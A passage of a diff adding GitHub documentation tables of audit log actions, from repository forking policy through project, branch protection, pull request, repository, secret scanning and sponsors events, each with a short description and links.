+| `private_repository_forking.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled the policy setting for allowing forks of private and internal repositories, for a repository, organization or enterprise. Private and internal repositories are always allowed to be forked. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository), "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) and for enterprises "[Enforcing a policy for forking private or internal repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)."
+
+{%- ifversion fpt or ghec %}
+## `profile_picture` category actions
+
+| Action | Description
+|--------|-------------
+| `profile_picture.update` | A profile picture was updated.
+{%- endif %}
+
+## `project` category actions
+
+| Action | Description
+|--------|-------------
+| `project.access` | A project board visibility was changed. For more information, see "[Changing project board visibility](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility)."
+| `project.close` | A project board was closed. For more information, see "[Closing a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board)."
+| `project.create` | A project board was created. For more information, see "[Creating a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board)."
+| `project.delete` | A project board was deleted. For more information, see "[Deleting a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board)."
+| `project.link` | A repository was linked to a project board. For more information, see "[Linking a repository to a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board)."
+| `project.open` | A project board was reopened. For more information, see "[Reopening a closed project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board)."
+| `project.rename` | A project board was renamed. For more information, see "[Editing a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board)."
+| `project.unlink` | A repository was unlinked from a project board. For more information, see "[Linking a repository to a project board](/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board)."
+| `project.update_org_permission` | The project's base-level permission for all organization members was changed or removed. For more information, see "[Managing access to a project board for organization members](/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members)."
+| `project.update_team_permission` | A team's project board permission level was changed or when a team was added or removed from a project board. For more information, see "[Managing team access to an organization project board](/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board)."
+| `project.update_user_permission` | An organization member or outside collaborator was added to or removed from a project board or had their permission level changed. For more information, see "[Managing an individual’s access to an organization project board](/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board)."
+
+{%- ifversion projects-v2 %}
+## `project_field` category actions
+
+| Action | Description
+|--------|-------------
+| `project_field.create` | A field was created in a project board. For more information, see "[Understanding field types](/issues/planning-and-tracking-with-projects/understanding-field-types)."
+| `project_field.delete` | A field was deleted in a project board. For more information, see "[Deleting fields](/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields)."
+
+## `project_view` category actions
+
+| Action | Description
+|--------|-------------
+| `project_view.create` | A view was created in a project board. For more information, see "[Managing your views](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views)."
+| `project_view.delete` | A view was deleted in a project board. For more information, see "[Managing your views](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views)."
+{%- endif %}
+
+## `protected_branch` category actions
+
+| Action | Description
+|--------|-------------
+| `protected_branch.create ` | Branch protection was enabled on a branch.
+| `protected_branch.destroy` | Branch protection was disabled on a branch.
+| `protected_branch.dismiss_stale_reviews ` | Enforcement of dismissing stale pull requests was updated on a branch.
+{%- ifversion ghes %}
+| `protected_branch.dismissal_restricted_users_teams` | Enforcement of restricting users and/or teams who can dismiss reviews was updated on a branch.
+{%- endif %}
+| `protected_branch.policy_override ` | A branch protection requirement was overridden by a repository administrator.
+| `protected_branch.rejected_ref_update ` | A branch update attempt was rejected.
+| `protected_branch.required_status_override` | The required status checks branch protection requirement was overridden by a repository administrator.
+| `protected_branch.review_policy_and_required_status_override` | The required reviews and required status checks branch protection requirements were overridden by a repository administrator.
+| `protected_branch.review_policy_override` | The required reviews branch protection requirement was overridden by a repository administrator.
+| `protected_branch.update_admin_enforced ` | Branch protection was enforced for repository administrators.
+{%- ifversion ghes %}
+| `protected_branch.update_allow_deletions_enforcement_level` | Enforcement of allowing users with push access to delete matching branches was updated on a branch.
+| `protected_branch.update_allow_force_pushes_enforcement_level` | Enforcement of allowing force pushes for all users with push access was updated on a branch.
+| `protected_branch.update_linear_history_requirement_enforcement_level` | Enforcement of requiring linear commit history was updated on a branch.
+{%- endif %}
+| `protected_branch.update_pull_request_reviews_enforcement_level ` | Enforcement of required pull request reviews was updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone).
+| `protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review was updated on a branch.
+| `protected_branch.update_required_approving_review_count` | Enforcement of the required number of approvals before merging was updated on a branch.
+| `protected_branch.update_required_status_checks_enforcement_level ` | Enforcement of required status checks was updated on a branch.
+| `protected_branch.update_signature_requirement_enforcement_level ` | Enforcement of required commit signing was updated on a branch.
+| `protected_branch.update_strict_required_status_checks_policy` | Enforcement of required status checks was updated on a branch.
+| `protected_branch.update_name` | A branch name pattern was updated for a branch.
+
+## `public_key` category actions
+
+| Action | Description
+|--------|-------------
+| `public_key.create` | An SSH key was [added][add key] to a user account or a [deploy key][] was added to a repository.
+| `public_key.delete` | An SSH key was removed from a user account or a [deploy key][] was removed from a repository.
+| `public_key.update` | A user account's SSH key or a repository's [deploy key][] was updated.
+| `public_key.unverification_failure` | A user account's SSH key or a repository's [deploy key][] was unable to be unverified.
+| `public_key.unverify` | A user account's SSH key or a repository's [deploy key][] was unverified.
+| `public_key.verification_failure` | A user account's SSH key or a repository's [deploy key][] was unable to be verified.
+| `public_key.verify` | A user account's SSH key or a repository's [deploy key][] was verified.
+
+  [add key]: /authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account
+  [deploy key]: /developers/overview/managing-deploy-keys#deploy-keys
+
+## `pull_request` category actions
+
+| Action | Description
+|--------|-------------
+| `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)."
+| `pull_request.converted_to_draft` | A pull request was converted to a draft. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)."
+| `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)."
+| `pull_request.create_review_request` | A review was requested on a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)."
+| `pull_request.in_progress` | A pull request was marked as in progress.
+| `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch.
+| `pull_request.merge` | A pull request was merged. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)."
+| `pull_request.ready_for_review` | A pull request was marked as ready for review. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)."
+| `pull_request.remove_review_request` | A review request was removed from a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)."
+| `pull_request.reopen` | A pull request was reopened after previously being closed.
+| `pull_request_review.delete` | A review on a pull request was deleted.
+| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
+| `pull_request_review.submit` | A review was submitted for a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)."
+
+## `pull_request_review` category actions
+
+| Action | Description
+|--------|-------------
+| `pull_request_review.delete` | A review on a pull request was deleted.
+| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
+| `pull_request_review.submit` | A review on a pull request was submitted. For more information, see "[Submitting your review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request#submitting-your-review)."
+
+## `pull_request_review_comment` category actions
+
+| Action | Description
+|--------|-------------
+| `pull_request_review_comment.create` | A review comment was added to a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)."
+| `pull_request_review_comment.delete` | A review comment on a pull request was deleted.
+| `pull_request_review_comment.update` | A review comment on a pull request was changed.
+
+## `repo` category actions
+
+| Action | Description
+|--------|-------------
+| `repo.access`         | The visibility of a repository changed to private{%- ifversion ghes %}, public,{% endif %} or internal.
+| `repo.actions_enabled` | {% data variables.product.prodname_actions %} was enabled for a repository.
+| `repo.add_member`     | A collaborator was added to a repository.
+| `repo.add_topic`     | A topic was added to a repository.
+| `repo.advanced_security_disabled` | {% data variables.product.prodname_GH_advanced_security %} was disabled for a repository.
+| `repo.advanced_security_enabled` | {% data variables.product.prodname_GH_advanced_security %} was enabled for a repository.
+| `repo.advanced_security_policy_selected_member_disabled` | A repository administrator prevented {% data variables.product.prodname_GH_advanced_security %} features from being enabled for a repository.
+| `repo.advanced_security_policy_selected_member_enabled` | A repository administrator allowed {% data variables.product.prodname_GH_advanced_security %} features to be enabled for a repository.
+| `repo.archived`       | A repository was archived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."
+| `repo.code_scanning_analysis_deleted` | Code scanning analysis for a repository was deleted. For more information, see "[Delete a code scanning analysis from a repository](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository)."
+| `repo.change_merge_setting` | Pull request merge options were changed for a repository.
+| `repo.clear_actions_settings` | A repository administrator cleared {% data variables.product.prodname_actions %} policy settings for a repository.
+| `repo.config`         | A repository administrator blocked force pushes. For more information, see [Blocking force pushes to a repository](/enterprise/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) to a repository.
+{%- ifversion fpt or ghec %}
+| `repo.config.disable_collaborators_only` | The interaction limit for collaborators only was disabled. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
+| `repo.config.disable_contributors_only` | The interaction limit for prior contributors only was disabled in a repository. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
+| `repo.config.disable_sockpuppet_disallowed` | The interaction limit for existing users only was disabled in a repository. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
+| `repo.config.enable_collaborators_only` | The interaction limit for collaborators only was enabled in a repository. Users that are not collaborators or organization members were unable to interact with a repository for a set duration. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
+| `repo.config.enable_contributors_only` | The interaction limit for prior contributors only was enabled in a repository. Users that are not prior contributors, collaborators or organization members were unable to interact with a repository for a set duration. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
+| `repo.config.enable_sockpuppet_disallowed` | The interaction limit for existing users was enabled in a repository. New users aren't able to interact with a repository for a set duration. Existing users of the repository, contributors, collaborators or organization members are able to interact with a repository. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
+{%- endif %}
+{%- ifversion ghes %}
+| `repo.config.disable_anonymous_git_access`| Anonymous Git read access was disabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository)."
+| `repo.config.enable_anonymous_git_access` | Anonymous Git read access was enabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository)."
+| `repo.config.lock_anonymous_git_access` | A repository's anonymous Git read access setting was locked, preventing repository administrators from changing (enabling or disabling) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."
+| `repo.config.unlock_anonymous_git_access` | A repository's anonymous Git read access setting was unlocked, allowing repository administrators to change (enable or disable) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."
+{%- endif %}
+| `repo.create` | A repository was created.
+| `repo.create_actions_secret` | A {% data variables.product.prodname_actions %} secret was created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/security-guides/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
+| `repo.create_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was created for a repository.
+| `repo.destroy` | A repository was deleted.
+{%- ifversion ghes %}
+| `repo.disk_archive`  | A repository was archived on disk. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)."
+{%- endif %}
+| `repo.download_zip` | A source code archive of a repository was downloaded as a ZIP file.
+| `repo.pages_cname` | A {% data variables.product.prodname_pages %} custom domain was modified in a repository.
+| `repo.pages_create` | A {% data variables.product.prodname_pages %} site was created.
+| `repo.pages_destroy` | A {% data variables.product.prodname_pages %} site was deleted.
+| `repo.pages_https_redirect_disabled` | HTTPS redirects were disabled for a {% data variables.product.prodname_pages %} site.
+| `repo.pages_https_redirect_enabled` | HTTPS redirects were enabled for a {% data variables.product.prodname_pages %} site.
+| `repo.pages_source` | A {% data variables.product.prodname_pages %} source was modified.
+| `repo.pages_private` | A {% data variables.product.prodname_pages %} site visibility was changed to private.
+| `repo.pages_public` | A {% data variables.product.prodname_pages %} site visibility was changed to public.
+| `repo.register_self_hosted_runner` | A new self-hosted runner was registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
+| `repo.remove_self_hosted_runner` | A self-hosted runner was removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."
+| `repo.remove_actions_secret` | A {% data variables.product.prodname_actions %} secret was deleted for a repository.
+| `repo.remove_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was deleted for a repository.
+| `repo.remove_member` | A collaborator was removed from a repository.
+| `repo.remove_topic` | A topic was removed from a repository.
+| `repo.rename` | A repository was renamed.
+{%- ifversion fpt or ghec %}
+| `repo.set_actions_fork_pr_approvals_policy` | The setting for requiring approvals for workflows from public forks was changed for a repository. For more information, see "[Configuring required approval for workflows from public forks](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks)."
+{%- endif %}
+| `repo.set_actions_retention_limit` | The retention period for {% data variables.product.prodname_actions %} artifacts and logs in a repository was changed. For more information, see "[Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)."
+| `repo.self_hosted_runner_online` | The runner application was started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `repo.self_hosted_runner_offline` | The runner application was stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `repo.self_hosted_runner_updated` | The runner application was updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+| `repo.staff_unlock` | An enterprise administrator or GitHub staff (with permission from a repository administrator) temporarily unlocked the repository.
+| `repo.transfer` | A user accepted a request to receive a transferred repository.
+| `repo.transfer_outgoing` | A repository was transferred to another repository network.
+| `repo.transfer_start` | A user sent a request to transfer a repository to another user or organization.
+| `repo.unarchived` | A repository was unarchived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."
+| `repo.update_actions_settings` | A repository administrator changed {% data variables.product.prodname_actions %} policy settings for a repository.
+| `repo.update_actions_secret` | A {% data variables.product.prodname_actions %} secret was updated.
+| `repo.update_actions_access_settings` | The setting to control how a repository was used by {% data variables.product.prodname_actions %} workflows in other repositories was changed.
+| `repo.update_default_branch` | The default branch for a repository was changed.
+| `repo.update_integration_secret` | A {% data variables.product.prodname_dependabot %} or {% data variables.product.prodname_github_codespaces %} integration secret was updated for a repository.
+| `repo.update_member` | A user's permission to a repository was changed.
+
+{%- ifversion fpt or ghec %}
+## `repository_advisory` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_advisory.close` | Someone closed a security advisory. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+| `repository_advisory.cve_request` | Someone requested a CVE (Common Vulnerabilities and Exposures) number from {% data variables.product.prodname_dotcom %} for a draft security advisory.
+| `repository_advisory.github_broadcast` | {% data variables.product.prodname_dotcom %} made a security advisory public in the {% data variables.product.prodname_advisory_database %}.
+| `repository_advisory.github_withdraw` | {% data variables.product.prodname_dotcom %} withdrew a security advisory that was published in error.
+| `repository_advisory.open` | Someone opened a draft security advisory.
+| `repository_advisory.publish` | Someone publishes a security advisory.
+| `repository_advisory.reopen` | Someone reopened as draft security advisory.
+| `repository_advisory.update` | Someone edited a draft or published security advisory.
+
+## `repository_content_analysis` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_content_analysis.enable` | An organization owner or repository administrator [enabled data use settings for a private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository).
+| `repository_content_analysis.disable` | An organization owner or repository administrator [disabled data use settings for a private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository).
+
+## `repository_dependency_graph` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_dependency_graph.disable` | A repository owner or administrator disabled the dependency graph for a private repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+| `repository_dependency_graph.enable` | A repository owner or administrator enabled the dependency graph for a private repository.
+{%- endif %}
+
+## `repository_image` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_image.create` | An image to represent a repository was uploaded.
+| `repository_image.destroy` | An image to represent a repository was deleted.
+
+## `repository_invitation` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_invitation.accept` | An invitation to join a repository was accepted.
+| `repository_invitation.create` | An invitation to join a repository was sent.
+| `repository_invitation.reject` | An invitation to join a repository was canceled.
+
+## `repository_projects_change` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_projects_change.clear` | The repository projects policy was removed for an organization, or all organizations in the enterprise. Organization admins can now control their repository projects settings. For more information, see "[Enforcing policies for projects in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise)."
+| `repository_projects_change.disable` | Repository projects were disabled for a repository, all repositories in an organization, or all organizations in an enterprise.
+| `repository_projects_change.enable` | Repository projects were enabled for a repository, all repositories in an organization, or all organizations in an enterprise.
+
+{%- ifversion ghec or ghes or ghae %}
+## `repository_secret_scanning` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_secret_scanning.disable` | A repository owner or administrator disabled secret scanning for a {% ifversion ghec %}private or internal {% endif %}repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `repository_secret_scanning.enable` | A repository owner or administrator enabled secret scanning for a {% ifversion ghec %}private or internal {% endif %}repository.
+{%- endif %}
+
+{%- ifversion secret-scanning-audit-log-custom-patterns %}
+
+## `repository_secret_scanning_custom_pattern` category actions
+
+| Action | Description
+|------------------|-------------------
+| `repository_secret_scanning_custom_pattern.create` | A custom pattern is published for secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-a-repository)."
+| `repository_secret_scanning_custom_pattern.delete` | A custom pattern is removed from secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#removing-a-custom-pattern)."
+| `repository_secret_scanning_custom_pattern.update` | Changes to a custom pattern are saved for secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#editing-a-custom-pattern)."
+
+## `repository_secret_scanning_push_protection` category actions
+
+| Action | Description
+|------------------|-------------------
+| `repository_secret_scanning_push_protection.disable` | A repository owner or administrator  disabled secret scanning for a repository. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."
+| `repository_secret_scanning_push_protection.enable` | A repository owner or administrator  enabled secret scanning for a repository. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."
+{%- endif %}
+## `repository_visibility_change` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_visibility_change.clear` | The repository visibility change setting was cleared for an organization or enterprise. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)" and "[Enforcing a policy for changes to repository visibility](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-changes-to-repository-visibility) for an enterprise."
+| `repository_visibility_change.disable` | The ability for enterprise members to update a repository's visibility was disabled. Members are unable to change repository visibilities in an organization, or all organizations in an enterprise.
+| `repository_visibility_change.enable` | The ability for enterprise members to update a repository's visibility was enabled. Members are able to change repository visibilities in an organization, or all organizations in an enterprise.
+
+## `repository_vulnerability_alert` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_vulnerability_alert.create` | {% data variables.product.product_name %} created a {% data variables.product.prodname_dependabot %} alert for a repository that uses an insecure dependency. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)."
+| `repository_vulnerability_alert.dismiss` | An organization owner or repository administrator dismissed a {% data variables.product.prodname_dependabot %} alert about a vulnerable dependency{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %}.
+| `repository_vulnerability_alert.resolve` | Someone with write access to a repository pushed changes to update and resolve a {% data variables.product.prodname_dependabot %} alert in a project dependency.
+
+{%- ifversion fpt or ghec %}
+## `repository_vulnerability_alerts` category actions
+
+| Action | Description
+|--------|-------------
+| `repository_vulnerability_alerts.authorized_users_teams` | An organization owner or repository administrator updated the list of people or teams authorized to receive {% data variables.product.prodname_dependabot_alerts %} for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."
+| `repository_vulnerability_alerts.disable` | A repository owner or repository administrator disabled {% data variables.product.prodname_dependabot_alerts %}.
+| `repository_vulnerability_alerts.enable` | A repository owner or repository administrator enabled {% data variables.product.prodname_dependabot_alerts %}.
+{%- endif %}
+
+## `required_status_check` category actions
+
+| Action | Description
+|--------|-------------
+| `required_status_check.create` | A status check was marked as required for a protected branch. For more information, see "[Require status checks before merging](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging)."
+| `required_status_check.destroy` | A status check was no longer marked as required for a protected branch. For more information, see "[Require status checks before merging](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging)."
+
+{%- ifversion ghec or ghes %}
+## `restrict_notification_delivery` category actions
+
+| Action | Description
+|--------|-------------
+| `restrict_notification_delivery.enable` | Email notification restrictions for an organization or enterprise were enabled. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization)" and "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+| `restrict_notification_delivery.disable` | Email notification restrictions for an organization or enterprise were disabled. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization)" and "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)."
+{%- endif %}
+
+{%- ifversion custom-repository-roles %}
+## `role` category actions
+
+| Action | Description
+|--------|-------------
+|`create` | An organization owner created a new custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+|`destroy` | An organization owner deleted a custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+|`update` | An organization owner edited an existing custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+{%- endif %}
+
+{%- ifversion ghec or ghes or ghae %}
+## `secret_scanning` category actions
+
+| Action | Description
+|--------|-------------
+| `secret_scanning.disable` | An organization owner disabled secret scanning for all existing{% ifversion ghec %} private or internal{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `secret_scanning.enable` | An organization owner enabled secret scanning for all existing{% ifversion ghec %} private or internal{% endif %} repositories.
+
+{% ifversion secret-scanning-alert-audit-log %}
+## `secret_scanning_alert` category actions
+
+| Action | Description
+|------------------|-------------------
+| `secret_scanning_alert.create` | {% data variables.product.prodname_dotcom %} detected a secret and created a {% data variables.product.prodname_secret_scanning %} alert. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/managing-alerts-from-secret-scanning)."
+| `secret_scanning_alert.reopen` | A user reopened a {% data variables.product.prodname_secret_scanning %} alert.
+| `secret_scanning_alert.resolve` | A user resolved a {% data variables.product.prodname_secret_scanning %} alert.
+{% endif %}
+
+## `secret_scanning_new_repos` category actions
+
+| Action | Description
+|--------|-------------
+| `secret_scanning_new_repos.disable` | An organization owner disabled secret scanning for all new{% ifversion ghec %} private or internal{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `secret_scanning_new_repos.enable` | An organization owner enabled secret scanning for all new{% ifversion ghec %} private or internal{% endif %} repositories.
+{%- endif %}
+
+{% ifversion secret-scanning-push-protection-bypasses %}
+## `secret_scanning_push_protection` category actions
+
+| Action | Description
+|--------|-------------
+| `bypass` | Triggered when a user bypasses the push protection on a secret detected by secret scanning. For more information, see "[Bypassing push protection for a secret](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)."{% endif %}
+
+{%- ifversion ghec or ghes or ghae %}
+## `security_key` category actions
+
+| Action | Description
+|--------|-------------
+| `security_key.register` | A security key was registered for an account.
+| `security_key.remove` | A security key was removed from an account.
+{%- endif %}
+
+{%- ifversion fpt or ghec %}
+## `sponsors` category actions
+
+| Action | Description
+|--------|-------------
+| `sponsors.agreement_sign` | A {% data variables.product.prodname_sponsors %} agreement was signed on behalf of an organization.
+| `sponsors.custom_amount_settings_change` | Custom amounts for {% data variables.product.prodname_sponsors %} were enabled or disabled, or the suggested custom amount was changed. For more information, see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)."
+| `sponsors.fiscal_host_change` | The fiscal host for a {% data variables.product.prodname_sponsors %} listing was updated.
+| `sponsors.withdraw_agreement_signature` | A signature was withdrawn from a {% data variables.product.prodname_sponsors %} agreement that applies to an organization.
+| `sponsors.repo_funding_links_file_action` | The FUNDING file in a repository was changed. For more information, see "[Displaying a sponsor button in your repository](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository)."
+| `sponsors.sponsor_sponsorship_cancel` | A sponsorship was canceled. For more information, see "[Downgrading a sponsorship](/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship)."
+| `sponsors.sponsor_sponsorship_create` | A sponsorship was created, by sponsoring an account. For more information, see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)."
+| `sponsors.sponsor_sponsorship_payment_complete` | After you sponsor an account and a payment has been processed, the sponsorship payment was marked as complete. For more information, see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)."
+| `sponsors.sponsor_sponsorship_preference_change` | The option to receive email updates from a sponsored account was changed. For more information, see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)."
